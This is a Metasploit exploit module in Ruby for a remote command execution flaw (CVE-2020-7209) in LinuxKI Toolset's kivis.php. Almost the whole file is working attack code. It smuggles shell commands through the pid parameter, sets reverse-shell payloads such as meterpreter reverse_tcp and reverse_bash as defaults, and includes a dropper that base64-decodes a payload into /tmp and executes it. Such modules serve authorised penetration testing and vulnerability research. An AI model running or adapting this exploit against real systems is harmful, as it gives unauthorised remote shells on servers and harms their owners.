## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'LinuxKI Toolset 6.01 Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution. The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Cody Winkler', # discovery and poc 'numan türle' # msf exploit ], 'References' => [ ['EDB', '48483'], ['CVE', '2020-7209'], ['PACKETSTORM', '157739'], ['URL', 'https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78'] ], 'Privileged' => false, 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Automatic (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_memory, 'Payload' => { 'BadChars' => "'" }, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } ], [ 'Automatic (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } ], [ 'Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } ], [ 'Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } ] ], 'DisclosureDate' => 'May 17 2020', 'DefaultTarget' => 0 ) ) register_options([ OptString.new('TARGETURI', [true, 'The path to the web application', '/']), ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) ]) end def check findstr = rand_str res = execute_command("echo '#{findstr}'") fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if (res.code == 404) || (res.code == 403) if (res.code == 200) && res.body.include?(findstr) return CheckCode::Vulnerable end CheckCode::Safe rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end def execute_command(cmd, _opts = {}) send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'linuxki/experimental/vis/', 'kivis.php'), 'vars_get' => { 'type' => 'kitrace', 'pid' => "1;#{cmd};" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end def exploit unless datastore['ForceExploit'] if check == CheckCode::Safe fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end end print_status("Executing #{target.name} target") print_status('Sending payload...') case target['Type'] when :php_memory execute_command("php -r '#{payload.encoded}'") when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 1_500) when :php_dropper dropper end end def dropper php_file = "#{rand_str}.php" tmp_file = Pathname.new( "#{datastore['WritableDir']}/#{php_file}" ).cleanpath dropper = get_write_exec_payload( writable_path: datastore['WritableDir'], unlink_self: true # Worth a shot ) dropper = Rex::Text.encode_base64(dropper) register_file_for_cleanup(tmp_file) execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}") execute_command("php #{tmp_file}") end def rand_str Rex::Text.rand_text_alphanumeric(8..42) end end